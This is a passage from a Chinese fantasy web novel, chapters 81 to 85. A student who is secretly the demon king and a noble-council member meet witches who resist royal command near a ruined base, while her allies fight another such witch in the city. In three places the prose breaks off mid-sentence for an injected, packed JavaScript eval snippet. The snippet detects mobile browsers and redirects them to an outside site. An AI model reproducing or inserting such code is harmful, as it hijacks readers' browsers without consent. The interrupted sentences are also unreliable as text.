“奇怪，这是什么地方？传送阵出问题了吗？到底是谁在捣乱？”妮娜故作迷茫地明知故问，如果被人发现是她对传送阵动了手脚，再被举报到学校那里就不好了。尽管有着这种担心，但她的眼睛却不由自主地向着她曾经走过的那条通道的尽头望去。 这片树林已经被毁坏了。爆炸的中心在地下，但余波涉及了附近整一片区域，放眼望去到处都是被烤成焦炭的树木残肢，只有死亡和枯朽，没有一丝生机。 “传送阵怎么会出问题呢……真不可思议，也许我们撞上了某种奇遇或者怪谈？”女性用一种难以描述的语气说道。 如果妮娜是一个有着更多社会经验的老辣的人，也许就能分辨出其中言不由衷的部分，即这名女性并未真心地感到不可思议。 而她之所以能在妮娜再三警戒的情况下闯入魔法阵，也是因为算计和预谋好的。 “我们先试试看能不能原路返回，不行的话，我会去教务网上找找后勤部门的电话，让他们及时对传送阵进行保养和修理。”妮娜心中觉得有些遗憾，但眼下的当务之急是赶紧甩掉身边这个目击者。 然而这名女性却摇了摇头，一把抓住了她正要摸出手机的手，将她强行拖出了魔法阵的范围。 “那个传送阵明显是出了什么问题，我们不能贸然用它回去，说不定会迷失在某个空间里，那样就糟糕了。倒不如先确定一下位置，然后联系城里的治安队救援。” 妮娜知道传送阵没有问题，也不认为她们会被困在传送通道中，但此时若表现得过分肯定，反而会让人觉得可疑，故而她只好顺着这名女性的意思点了点头，“你说的有道理，那我先查看一下地图。” 女性飞快地拿起自己的手机，在上面操作了一通：“不行，这里没有信号，不能进行定位，也无法拨打号码。” 妮娜闻言也用自己的手机试了一下，发现果然如此。她不能揭示这里只不过是王都的一处郊外，只要选对方向，走两三个小时就能回到城市，只好先看看女性的反应，再决定下一步行动。 让人意外的是，女性并未感到慌张或是害怕，也没有立即就要返回学校的意思，相反，她看上去比闯入魔法阵的时候要镇定多了。 “既然一时半会儿没法向外界求助，不如我们先在这附近逛逛，看看能不能找到一点回去的线索，要是能确定这里是哪里就好了。总之，就当这是一次远足吧？” 妮娜有些无奈地点了点头。 在这附近闲逛的话，说不定会遇上巡逻的魔女——运气好遇上一个脾气不那么坏的家伙，就能请求让他帮忙指路——或是看到那个被摧毁殆尽的地下空间，又或者亲眼目睹那条沉睡在结界之中的巨龙是否还拥有生息。并不全是坏事。 “我叫妮娜。该怎么称呼你？”妮娜说。 “就叫我兰登吧。”女性说。 82. 第 82 章 根据兰登自己说明的情况，妮娜没有猜错，她的确是正在寻找工作的准毕业生。 “照理来说我们应该是同届，而且一起上过课才对，但我好像从来没有在学校见到过你。” “哦，我是研究生。” “唔……你看起来比我年轻。” “我不把这当成恭维。”兰登顿了一下，“长得像高中生在找工作的时候会有很多麻烦。” “是、是吗？”妮娜尴尬地笑笑。 她以为这是一位性格有些天然的校友，但实际接触下来觉得她没有看起来那么平易近人。 两人正走在通往罗德里斯基地的那条布有隐匿魔法的小路上。 按妮娜的判断，再往前走五十米左右，大概就能看到被爆破后暴露在阳光下的那个大坑了。 果然，不久之后，一个没有掩体的巨大的坑洞出现在两人跟前，因为地势的关系，尽管那个坑大得惊人，但在走近到一定程度前无法在视野中发现它。 “这是……”兰登只是表现出一点轻微的讶异，而让她感到讶异的对象则是盘曲在地下的黢黑的巨龙。 和那条巨龙相比，她的惊讶显得太过微不足道了。但此时的妮娜无暇注意到这一疑点，她俯视着那条无知无觉的龙，心中翻涌起过去未曾有过的情感——至少是在她第一次见到罗德里斯时未曾有过的。 她像是叹息一样轻轻地呼唤着，她必须控制自己不将这条巨龙的名字说出口，现在还不是打开结界的时候。 她忘了自己此刻已经脱离了隐匿魔法的范围。 黑色的影子向此处逼近。 “喂，你们两个，在这里干什么？！” * “我一直以为蝙蝠很少依靠嗅觉行动，它们的特长是热感应和超声波，不是吗？” “我是吸血蝙蝠……虽然从外形到名称都很相似，但吸血蝙蝠和蝙蝠完全是两个不同的物种，比如它们根本就不能像我这样直立行走，它们也不喜欢在白天活动。” “……” “怎、怎么了？” “那时候你还没来到这里……不过我想你已经知道我们房东的身份了。虽然你似乎已经获得了她的信任，但是抱歉，我对你还没法产生太多好感。” “我用不着讨你喜欢。” “说的也是。怎么样，要不要来比赛，谁先找到炼狱兽的下落，看看我们之中谁的嗅觉更加灵敏？” “愿意奉陪。” 负责寻找蒙多的小队准备出发了。 现在城中的态势并不安全，有一种说不清道不明的危险气息，城市上空出现了比以往更多的巡逻魔女，但好在乌鸦和古斯塔夫都是擅长暗中行动的家伙，而且他们都带着妮娜亲自制作的护身符。 乌鸦对赢得比赛的事情颇有信心，她认为即便吸血蝙蝠也拥有敏锐的嗅觉，在程度上也一定无法与兽人相媲美。况且，她已经隐隐辨认出某个方向上存在着她从布莱克的手掌上提取出来的气味。 她出生的时候，两次除魔运动还有黄金时代都已经是历史上的话题，因此她也就完全没有接触过元素兽这一物种，更不用说其中最为珍贵的炼狱兽了，说实话，她对妮娜口中的名为蒙多的炼狱兽充满好奇。 他残留在布莱克身上的魔法气息理所应当地具备火焰的力量，而且不是有机物或无机物烧焦或发生其他性质变化时的味道，而是一种纯净的、自然的味道，那是还没有沾染过污秽、又或者是能够涤荡污秽的味道。 仅凭这一点，乌鸦便对他产生了天真无邪的印象。 她循着那丝若有若无的气息，逐渐接近某个地点。 但气味在中途改变了方向，似乎朝着更远的地方离开。 “被发现了吗？为什么要逃呢？是在戒备城市中的危险吗？”在觉察到这点之后，乌鸦闪进了被阴影笼罩的小巷之中，展露出自己的双翼，向着位置变化后的目标飞去——为了防止对方不停逃逸，她认为最好的办法是提升自己的速度。 之前在会议上提到过，罗德里斯基地的暴露可能与炼狱兽有关，也就是说，那家伙很可能是导致那些生活在地下的原始魔族们全军覆灭的罪魁祸首。 这的确是非常沉重的罪孽。但并非不可原谅的罪孽。尤其是其本人深深地怀有负罪感的情况下。 错的是阴险狡猾且不怀好意要将他们赶尽杀绝的人类。 没错，是人类。 古斯塔夫那个时候……也是迫不得已的。 乌鸦愣了愣神，她所追寻的气息突然变得强烈起来，但里面好像掺杂着一些异质的成分。 一道黑影像闪电一样从她眼前掠过，而那股气息也伴随着黑色闪电扑面而来。 她在空中猛地进行了一个急刹车，翅膀变回双臂，身体灵巧地落回地面。 站在她前方的是一名鬼魅般的魔女，火焰的气息就是从他身上散发出来的。 她这才知道自己受到了误导。但是为什么魔女的身上会有炼狱兽的气味？ “你在找什么？”那个魔女脸上挂着阴恻恻的笑容，他摆出一个走秀模特般优雅的姿势，而这种姿势莫名让他的气息充满了压迫感。 乌鸦不动声色地将手伸进口袋，触摸到塑封好的纸包。她对自己的灵活性充满自信，但在力量上确实逊色很多，好在她有出奇制胜的法宝——魔王的言灵。 “贵族院难道还给你们下了盘查的指令？你们的工作还真是够繁忙的。”她掩饰着情绪说道，“我在找什么，这种事情应该用不着你们关心。” “半兽人不能以兽化的姿态在外活动，不听话的家伙就应该受到惩罚。”魔女向前走了一步，他的手在背后晃动了一下，不知从哪里变出了一把影子一样的镰刀，刀刃上还丝丝地冒着黑烟。 在他挥动镰刀形成旋风的同时，乌鸦用手指勾住护身符的挂链将它提了出来，像使用魔法道具一样将它举在面前。 魔女的动作仅出现了一个微小的停顿，紧接着便发出了大笑，而镰刀带起的劲风正呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176370|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吹向乌鸦的身体，像是在嘲讽她这徒劳又可笑的举动。 乌鸦来不及思考为什么护身符没有生效，她的身体像是被钉在地上似的无法动弹。 一团猛烈的热浪掠过她的身侧，一条不知从何而来的凶悍的火蛇向着黑色的旋风迎了上去，两股力量撞在一起，黑色的旋风被炽热的火焰驱散了。 “蒙多？！”得到喘息机会的乌鸦当即向后一跃，与魔女拉开了距离。 如果是炼狱兽的话，能召唤出这样的火焰也不奇怪。看来那是一个有实力的家伙，怪不得妮娜会把寻找他的下落列为代办事项。 魔女看起来有些不高兴，他的脸色变得更加阴沉，手中的镰刀也散发出更加不祥的气息，刀尖上，一个闪烁不定的能量球正在逐渐生成——吃上一发那玩意儿肯定够受的。 乌鸦再次张开翅膀，将那些长而坚硬的飞羽挡在身前，同时继续后撤。她依然奉行着一贯的准则，遇到打不过的敌人，最好的办法就是赶紧逃走。 只不过这一回她还得捎上另一个人。她依靠感官搜索着同伴的位置。 魔女显然不想给她逃跑的机会，他将镰刀当成法杖，把那团具备追踪效果的能量球释放出来。 那团黑乎乎的能量就像是脱缰的野马一样飞驰，在空气中扯出电流一般的痕迹。 唰！ 一道比白炽灯还要亮得多的光芒和黑色能量球发生对撞，瞬间就将能量球消弭殆尽。 刚才那是闪电魔法，那种魔法可不在普通炼狱兽的技能列表里。 乌鸦想到了那颗毫无音讯的炼狱兽核心，心中生出了一丝期待。 而魔女不打算继续矜持下去，他开始无序地释放各种瞬发的技能，同时又用兼职法杖的镰刀酝酿着另一个一看就十分危险的大型魔法。 乌鸦小心地闪避着四处乱窜的魔法弹，一边寻找着逃生的路径。 魔女完全没有要放走她的意思，用不断射出的长尾魔法弹封锁她的退路。 她的动作逐渐慌乱起来。 “如果要帮忙的话，就帮得彻底一点啊……”她忍不住在心中责怪起那位仍躲在暗处不肯现身的同伴，“还是说你的本事也就只有这一点了？” 轰—— 用于阻挡攻击的翅膀被一颗飞弹击中，最长的飞羽立刻被一团黑色的、火焰一般的能量给点燃了。 那个危险的魔法正好完成吟唱，乌鸦不知道等待自己的是何种毁天灭地的痛苦，但预感这次肯定再没有办法全身而退。 黑色的魔法气息如梦魇一般袭来的瞬间，一个蓝色的魔法阵在她身前张了开来，就像反射光线的镜面一样，将那些气势汹汹的能量反弹了回去。 啪嗒啪嗒……暴雨落在雨棚上一样的声音。 等魔法阵消失的时候，前方的巷道里已经什么都没有了。 乌鸦看着在那个九死一生的瞬间出现并挡在她身前的人，脸上露出了难以置信的表情。 “阿加雷斯，怎么是你？” 83. 第 83 章 爽朗的青年回过头，琥珀色的虹膜上还残留着魔法的余晖，为他增添了几分神秘的气息。 “我也是搜索队的一员啊，你们出门执行任务的时候怎么不通知我一声？”他笑着说道。 乌鸦回想起这家伙确实申请加入寻找炼狱兽的队伍，而且妮娜已经同意了，她轻轻呼出一口气，有些力竭地垂下肩膀：“你那样的身体状况……我还以为你只是来挂个名的呢。话说回来，夜骑的魔法能力真的有那么强吗？似乎远远超过了我的想象。” “你想象中是怎样的？”阿加雷斯问。 乌鸦考虑了几秒钟，说：“就像你在节目中展示过的那样，能让植物开花——最多就是那种程度的魔法。” 阿加雷斯脸上的笑意更浓了：“你觉得那只是一个非常简单的魔法吗？那可是在控制生命的进程……操作细节比看起来要多得多，总之绝对不是什么随随便便就能做到的事情。不然人类早就把相关的魔法运用到农业生产领域上去了。” 乌鸦明白了他的话，但又觉得有些不甘心，她将双翼退回手臂的模样，耸了耸肩说道：“抱歉啊，兽人一族在这方面完全没有天赋，领悟不了那种魔法的高妙之处。” 刚才的生死危机好像不曾存在过一样，她觉得放松了很多。 但让她产生安全感的夜骑先生却收起笑容，皱起了眉：“护身符是不是没有起作用？” 这话让乌鸦回过神来，跟着阿加雷斯一起皱眉。她是亲眼目睹过护身符是如何逼退一位魔力解放的魔女的，因此她也比其他持有者更相信这东西的力量。 有些人还以为这是某种安慰剂，但她确凿相信这上面蕴藏着魔王的权能。 “无需听从魔王命令的魔女，他们的出现可不是什么好征兆，得赶紧让妮娜知道。” 乌鸦一个激灵，一把抓住阿加雷斯的手腕：“你都知道了……妮娜她是——” 阿加雷斯仰起头看了看被高楼的轮廓框定的那片天空：“在罗德里斯公寓里，不知道这件事的应该也就只有那两个人类了吧。” 他又低下头来看向乌鸦：“所以不要总是把我排除在外嘛。” 原本已经对他放下防备的乌鸦在听了这话之后又忽地戒备起来，她回望向那双琥珀色的眼睛，那双眼睛在昏暗的环境中有点像是金色的。 “总觉得……你看起来还是有点可疑。” * 在判断出眼前那个穿着全黑的衣服、长着一张没有血色的干尸般脸孔的家伙是一名魔女之后，妮娜下意识地挡在兰登身前。 “你们是怎么走到这儿来的？”魔女用干巴巴的声音问道，“从王城到这里的通路应该已经全部都被封锁了。” “能让我们走到这里，说明你们的巡逻还不够勤快。”妮娜没有具体说明，但暗示她们是步行过来的。 她可不想让更多人发现传送阵和隐匿通道的秘密，“我们是在迷路后不小心走到这里来的，麻烦你给我们指一个方向，我们会乖乖离开这里，你也好继续工作。” 她用不那么明显的祈使句型下达了几个指令，期望能在事情闹大之前独自处理干净。 魔女冷笑了一声：“注意一下你的口吻，谁允许你那样和我说话？” 妮娜的表情一沉。 这家伙的反应很不对劲。她方才的话语似乎没有对他造成任何影响，而且那种趾高气昂的态度也和平时见到过的那些魔女很不一样。 她想起了在解救蒙多时遇见过的那个魔女，开始怀疑魔王的权柄是否真的能够作用于魔女。到目前为止，对她的命令作出回应的魔女似乎只有乌瑟一个。 她没有注意到兰登的眉尾抽动了一下。 “如果没猜错的话，这里就是几个月前被贵族院捣毁的那个魔族基地，好像是叫、是叫罗德什么的，也就是说，这里是王城郊外对吗？”兰登开口了，但很难确定她的话到底是说给谁听的，“啊……没想到会不小心走到这种地方来，不过好歹已经弄清楚位置了，我想接下来我们应该可以自己走回城里。” “别以为我看不出你在说谎。”魔女继续冷笑，“你们身上有魔力的味道，光冲这一点，我就不能让你们轻易离开。” “不，你应该让我们离开。”兰登执拗地说道，但在现场的其余二人听来，这话只是在逞强。 只有兰登知道，这是“命令”。 “呵。”魔女发出轻蔑的笑声。 兰登的表情变了。 她的神情开始变得谨慎，紧张且小心地观察着那个魔女，很快，她就在魔女的手腕上看到了半遮半掩的刺青。 她想起那天在赫尔马岱的恶魔研究所里看到的景象，那个在布劳斯的命令之下自我了断的新型魔女——那个魔女在动手之前确实出现了片刻的迟疑，难道她真的不是因为布劳斯的命令才那么做的吗？ 如果是旧式的魔女，一定会对他们的命令言听计从，至少在他们面前不会表现出任何反抗的意志，也不会对他们当面下达的命令有任何怀疑。 这绝对不是因为旧式魔女有多么忠心耿耿，而是因为这就是“权力”的力量，他们在绝对的权力面前没有质疑的余地。 眼前的魔女显然和兰登所了解、所接触过的魔女们不一样。 “其实不用和你们绕这么多圈子，毕竟我得到的命令是铲除一切入侵者——”魔女的语气变得残酷起来。 伴随着他的话语，蛛腿般的触手从他后背的腰际位置发散开来，目标明确地袭了过来。 兰登不动声色地躲开了那些攻击，同时观察着同行者的行动。 妮娜的动作和她比起来要笨拙得多，她完全不习惯这种打斗的戏码，而且她的注意力有限，一旦想要躲开正欲绑住她手臂的触手，就会忽视脚下的危险，有好几次差点被绊倒，但最后总能奇迹般地找回平衡。 这让兰登愈发摸不着头脑。 那个魔女绝对有能力将妮娜·斯特尔一击毙命，但他没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187185|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么做，反而像逗小孩一样用那些恶心的触手捉弄着她。 据说有些猎食者就有将猎物愚弄尽兴之后再杀死吃掉的习性，也许他就是那样的猎人。 妮娜似乎渐渐习惯了触手的攻击模式，证据就是她躲闪的动作开始变得游刃有余，她甚至从后腰处拔出了一柄匕首——兰登之前还以为那把刀鞘只是一件时尚的装饰品——对触手展开了攻击。 “兰登，你没事吧？！” 她挥动着匕首向兰登靠近，看样子是想为自己的校友提供一些帮助。她的语气和表情都流露出一丝愧疚，大概是认为眼下的麻烦都是她惹出来的，而兰登只是被牵连的那一个。 “我没事。”兰登说。 职业套装不太适合运动。不，是非常不适合。 但这种躲避游戏不可能持续下去，就算她们能够维持体力和专注力，那个魔女也很快就会厌烦，然后拿出杀招对付她们。 不能让妮娜·斯特尔死在这儿，当然，她自己也不能。 兰登考虑到的一些事项，妮娜也想到了。她已经确定自己不能对这个魔女做出有效控制，也非常确定不会一丁点魔法的自己绝不可能是魔女的对手。 刚才那个魔女用了“铲除”这个词。这意味着别看他们现在正做着像游戏一般的对抗，但那家伙随时都可以杀了她们。 他甚至不是将她视作一个魔王，而只是把她当成了误入禁地的一般人。她知道贵族院在面对魔物的时候通常不会特别手下留情，但她没想到他们竟会允许自己的手下对一般平民下杀手。 这就是贵族院的真面目吗？这样的权力机构，怎么可能给人民带去和平和幸福呢？ 他们不仅为魔族创造了一个活的地狱，也打算把自己的同类们也推下深渊吗？ 绝对不能就这么死在这儿。 妮娜砍掉一条影鞭，从那些黑影的间隙中望向地坑里的黑色巨龙。 她原本没打算现在就唤醒罗德里斯，但如果迫不得已的话—— 现在已经不是能考虑那么多的时候了。 “罗——” 她才刚刚发出一个音节，衣服的后领就被人狠狠地拽住。 一开始她还以为自己的后背遭到偷袭，但很快她就意识到拽住自己的人是兰登，她正拖着她往传送阵的方向逃跑。 而魔女释放的黑色触手像是被定格了一样，以各种扭曲的状态停滞在半空中。魔女本人则像是看到了什么可怕的景象一般，睁大双眼，瞳孔颤抖着盯着某个方向。 妮娜勉强地扭过头去，顺着他的目光，却什么也没有看见。 他是被什么东西摄住了心魂，幻觉吗？ 兰登的速度和力气都比她外表看起来的要大很多，天知道她是怎么在穿着职业套装的情况下拖着一个累赘跑得这么快的。 当她终于停下来的时候，妮娜看到了那几棵面目全非的白桦树，以及在周身泛起的魔法光芒。 得救了…… 84. 第 84 章 妮娜有一肚子的问题，想在回到学校之后好好询问那位研究生前辈一番。 但是当她从办公楼底下的那个传送阵里出来的时候，并没有看到和她同行的女性。 “喂，等等，还有一个人呢？”她趴在地上，对魔法阵说道。 魔法阵中的几个同心圆，还有圆环中的文字没有规律地旋转了几圈，或许是在表达“不知道”的意思。 三三两两的学生从不远处经过，并发出几阵窃语的声音。 妮娜窘迫地从地上爬了起来，然后假装若无其事地离开现场，踏上回家的旅途。 就结果而言，虽然中间发生了一些曲折离奇的事件，但前往基地废墟探望罗德里斯的目的好歹算是达成了。而且她还得到了意料之外的情报—— 罗德里斯基地废墟附近有魔女严密地把守，从王都城门前往巨坑的一路上都有可能遇到巡逻的魔女，不过老吸血鬼告诉她的那个传送阵和秘密通道都还能够继续使用，魔女完全没有发现在那片树林中残存着一个隐匿魔法。 最重要的是，“不受魔王控制的魔女”是切实存在的——不管原因究竟出在她这个魔王身上，还是因为那些魔女有什么特殊之处——她今天的经历再次证明了这一点。 这将会给解放罗德里斯的计划带来很多麻烦，而且现在还不确定贵族院拥有多少个这样的魔女。 如果那些魔女数量众多，那她这个没有半点魔力的魔王将会陷入非常不利的境地，也使得解放罗德里斯这件事变得更加迫切。 这就形成了悖论。 没有罗德里斯的力量，就很难突破那些魔女组成的攻守线，而不先解决那些魔女，就很难接近罗德里斯。 * 兰登没有和妮娜·斯特尔一起回到恩斯法内大学，她在被魔法压缩过的那个空间中找到了一个连接着其他成对魔法阵的十字路口，并在那个地方与魔王分道扬镳。 这种高难度的操作可不是只要拥有强大魔法就能办到的，这是暗夜一族的特长——幻觉，以及时空魔法。 不过在大战之后，从生命之树上诞生的暗夜精灵的数量大幅减少，即便好不容易获得了一些新生的精灵，他们能够拥有那些本该熟知的魔法的可能性也微乎其微。 相关学界曾经研究过暗夜一族会产生这种变化的原因，其中一种假说是“避险进化”或者“避险退化”。 他们好像从元素兽身上得到了前车之鉴，意识到拥有过强能力的魔族在人类社会中很可能遭到灭顶之灾，故而放弃了大部分魔法能力，只保留下优美神秘的躯壳。 ——和魅魔一样，暗夜精灵也是可以成为“美丽”的代名词的一族，不过和魅魔那种和人类极其接近的外形不同，他们身上有着强烈的异族特质，比如灰紫色的皮肤、尖耳廓、蛇一样的眼睛。 在舍弃魔法之后，他们这一支确实被人类高抬贵手地保留了下来，但自保能力的彻底缺失和梦幻般的优美外形让他们陷入了更加可悲的境地。 如果说陪酒卖笑和出卖身体终究还能有那么一丁点的体面的话，他们则是彻头彻尾的玩物、展品——是缺乏自主性的物件。 虽然这些事情和兰登本人没什么关系，但她还是会因为“暗夜核心持有者”的这一身份而对那些精灵投入稍微超过其同僚的关注，并因此对他们产生了怜悯，以及一些微妙的情绪。 她永远不会主动承认，暗夜一族的历史偶尔会让她产生共情。 ……不过现在不是为那些东西劳心的时候。 眼下出现了紧急情况，一个很可能导致贵族院从内部分崩离析的情况。 韦斯特尔联合研究所欺骗了他们，新型魔女得到了“解脱王权”的特性，同时……也从他们的“贵族权力”中解脱了，正如他们当初对这一研究所表达的担心一样。 现在，她要搞清楚，那些新型魔女是不是只会听韦斯特尔的命令，他又是怎么做到这一切的。 她要问问清楚，他到底打算干什么，为什么要做出如此危险的东西。 难道他想要一支只听从于他的军队，然后将贵族院一脚踢开，让自己当上这个所谓的“王国”的真正的王吗？ 高跟鞋在地面上发出急促的声音。 一个大个子从走廊的阴影中出现。 兰登一开始没有发现那里有人，如果不是他主动走出来，她可能就要撞上去了。 “布劳斯，你在这里做什么？你刚刚去见过韦斯特尔了？他现在在做什么？”她猛地停下脚步，调整了一下呼吸，让自己尽可能显得和平时没什么两样。 “先回答我的问题，你刚才去干什么了？”布劳斯说。 兰登的表情变得有些尴尬。 她十分清楚不应该在这里提及和魔王有关的字眼，如果让布劳斯知道她刚刚去见了谁，他一定会不高兴的。 “去郊外逛了逛，在那里发现了了不得的东西。”她隐去了同行者的存在。 “我记得你出门的时候是说找恩斯法内的某位教授有事，怎么中途改了念头去了郊外？记得你不是那种喜欢在外面四处闲逛的人。”布劳斯盯着她。 兰登从他的口吻中获得了某个不妙的信号。 她今天会出现在恩斯法内大学确实是因为和人有约。除了贵族院的工作之外，她还有着一个学者的身份，而今天就是用这个身份出席一场私人讨论，看见妮娜·斯特尔是在讨论结束后发生的一个偶然事件。 只不过她在看见那个姑娘的时候就在心里突然打好了计划。 从以前那位监视者手中得到的情报来看，妮娜·斯特尔今天没有课程，她也不是一个有事没事就喜欢往办公室跑的人，而且她在进入传送阵前的那些小小举动也让人很是在意。 于是兰登就电光石火之间做出了决定，要跟着那位魔王前去，看看她是否有什么需要特别关注的动向。 结果还真被她发现了端倪。 这就是除了韦斯特尔的秘密魔女之外，她今天的第二个发现——在妮娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201085|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·斯特尔面前施展了能力，将她从那个魔女的手中解救出来，罗德里斯那条巨龙很可能已经重返人间。 要是那种事情真的发生了，还不知道这个国家会变得多么混乱呢！ “我是结束会面之后才到郊外去的，先不和你说这些，我有急事要找韦斯特尔谈谈，非常重要的事情。”兰登一回想起刚才那种紧急事态，情绪就变得有些焦虑不安。 “你身上有奇怪的味道。”布劳斯说。他向她凑近了一点，弯下腰，在她的鬓角、肩颈处嗅了一会儿，“果然有奇怪的味道。” 兰登被他突如其来的无礼举动吓了一跳：“你在干什么！”她在说话的同时无意识地向后退了几步。 布劳斯一把抓住她的手腕，阻止了她的远离，并将抓住的手放到自己的面前，嗅了起来。 持有大巨魔核心的布劳斯有着远超常人的力气，兰登根本无法挣脱，只能任由他将这种暧昧的行为继续下去。她觉得自己的手腕都快要被捏断了。 “你到底……在干什么？” “你去见魔王了。”布劳斯抬起头来，眼中闪着一丝凶恶的光芒。 兰登没有想到他竟然辨认得出妮娜·斯特尔的气味。 她不觉得巨魔的核心能让持有者拥有非同寻常的嗅觉，也不认为布劳斯知道魔王有着怎样的气息。但是事情既然已经被他戳穿，那她也没有继续隐瞒的必要。 “我是见到魔王了，所以才会知道那种情况。这事真的非常紧急，所以你可以把路让出来吗？” “你打算背叛贵族院？”布劳斯说。 兰登差点要翻一个白眼：“你是从哪个字眼里得出这个结论的？” 她是无论如何都不会背叛圆桌会议，背叛她的七位同伴的，没有人比她更希望他们八个人能团结友爱地生活在一起——一起共事了这么久，布劳斯却还没有意识到这一点，还没有体察到她的诚恳和真心，真是让人难过。 “不然你为什么要和魔王见面？你向她透露了哪些情报，你和她之间是否达成了某种交易，她都和你说了什么？” “等等等等，布劳斯，你知道你自己在说什么吗？你真的觉得我会做那些事吗？不可能！我是不讨厌魔王，但我更不可能背叛同伴！” “你发现了什么？” 布劳斯沉下脸，他的鼻尖几乎要和兰登的撞到一起，他的手也更加用力了。 兰登艰难地别开视线，继续进行了一番没什么意义的挣扎。 “你……你能不能先放开我？你把我抓疼了。” “如果你要证明自己没有站到魔王那一边去——” “我到底为什么要证明那种东西啊？” “那就把暗夜的核心交出来。” 兰登一下子睁大了眼睛，不敢置信地看着布劳斯：“你说什么？” 她觉察到危险，并条件反射地作出了防御反应。 下一秒，她的身体沉入水中。 她的幻觉魔法被反射了。 85. 第 85 章 妮娜刚刚返回公寓不久，打算在厨房给自己煮一杯奶茶，平复一下心情。 把红茶煮开的时候，乌鸦和阿加雷斯正从外面进来。 乌鸦还在玄关换鞋，阿加雷斯已经穿过走廊进入厨房，脸色凝重地看着那个正在忙碌的背影。 妮娜转过头，同他打了一个招呼，并试图询问今天的搜索结果，最后还补充了一句要不要一起品尝下午茶。 乌鸦换好了室内拖鞋，走到餐桌边上，挑了一个靠近灶台的位置坐下：“我可以来一杯。无上荣幸。” 妮娜笑了起来，觉得心中那些慌乱的情绪被提前抚平了一点：“你喜欢茶多一点，还是奶多一点？” “我不知道，不过我想试试茶味浓的。”乌鸦说。 妮娜又看向阿加雷斯：“你呢？我要不要去拿一包蔬菜饼干来当点心？” “你似乎遇上了什么事。”阿加雷斯说，他结束观察，走到灶台边上，小心地拉住房东的左腕，将它轻轻举起，并折叠起来，“你受伤了。” 妮娜惊讶地看着左手小臂后测一条长达五六公分的伤口，她完全没有发现自己身上什么时候多了这种东西，那伤口看着不小，实际上一点也不疼，确切地说，根本没有任何感觉，而且也没有流血，所以很难觉察。 乌鸦的脸色不禁变了一下，她站了起来，也站到妮娜身边，拉着她的手臂在伤口附近嗅了嗅：“陌生的气味，让人作呕的魔法气息。” 那些气味很淡，而且很大程度上被妮娜自身的味道给遮盖了，即便是像她这样嗅觉灵敏的族类，也要凑近了才能闻到。 妮娜本就没有打算隐瞒刚才的遭遇，这种危险的事情必须尽快让所有人都知道才行。因此她也就没有避讳阿加雷斯的在场。 “我在基地的旧址附近遇到了魔女，我不确定是不是我的力量变弱了，我无法控制那个魔女。幸好我的同行者施展了一些法术，我们才侥幸逃了回来，大概就是在那个时候受的伤。” 乌鸦的表情变得更加不安：“你也遇到了那种魔女？” “也？”妮娜注意到她的用词。 乌鸦松开了妮娜的手腕，有些不甘和懊恼地说道：“多亏阿加雷斯出现得及时，否则我现在已经变成一只烤鸟了。” 而阿加雷斯仍盯着那条伤口，也学着乌鸦的样子凑近闻了一会儿：“在商量正事之前，先处理一下伤口，如果上面留有什么诅咒就糟糕了。没有产生痛感和出血的伤口往往更加危险。” 乌鸦在做这些事的时候，妮娜并没有产生什么特殊的感觉，但现在，她有些紧张。 阿加雷斯也很快就松开了她的手：“一个类似于慢性毒药的诅咒。放任不管的话，它可以在半年之内夺走宿主的性命。” “你能处理诅咒吗？”乌鸦心惊胆战地问道。 阿加雷斯点点头：“我需要一些材料，可能得麻烦你去街上跑一趟。” 妮娜将自己的手抽了回来，用另一只手抓住蠢蠢欲动的乌鸦：“我可以让佩吉帮忙采购，你现在还是不要出门比较好。护身符可能不再有用了，而街上的魔女却越来越多。在搞明白原因之前，我们最好减少出门的次数。” 她在说这些话的时候，声音有些虚浮。 她长得和人类别无二致，浑身上下没有一丝魔力，如果再失去王权，那她又有什么资格和立场自称魔王？ “我现在就去叫佩吉，诅咒的处理绝对刻不容缓，你不知道它们的危害有多大。”乌鸦挣扎了一下。 妮娜松开了手，她立刻扑到107室的门上，用力敲了起来。 媒介商人懒洋洋地打开房门，露出不满的脸庞：“啊……谁让你这么没礼貌的。” 但是当她看到不远处妮娜和阿加雷斯的表情时，意识到可能发生了一些紧急情况，故而也没有和乌鸦过多计较：“好吧，说说找我有什么事？我最近在整理工人们的资料，打算作出最合理高效的师生配置……总之忙得很。” 阿加雷斯很快就提供了一份购物清单，交到佩吉手中。 而佩吉飞快地扫了一眼列表上的物件，神情顿时变得慎重起来：“这是……” 蜂蜜、枫糖浆、甘豆、龙舌兰汁液、白砂糖……看起来简直像是制作甜味炸弹的材料。 但是接受过系统性魔法教育的佩吉·卡斯纳非常清楚在魔法领域中甜味剂通常都被用来对付什么东西。 于是她很快就回屋去做出门的准备，并在五分钟后离开了公寓。 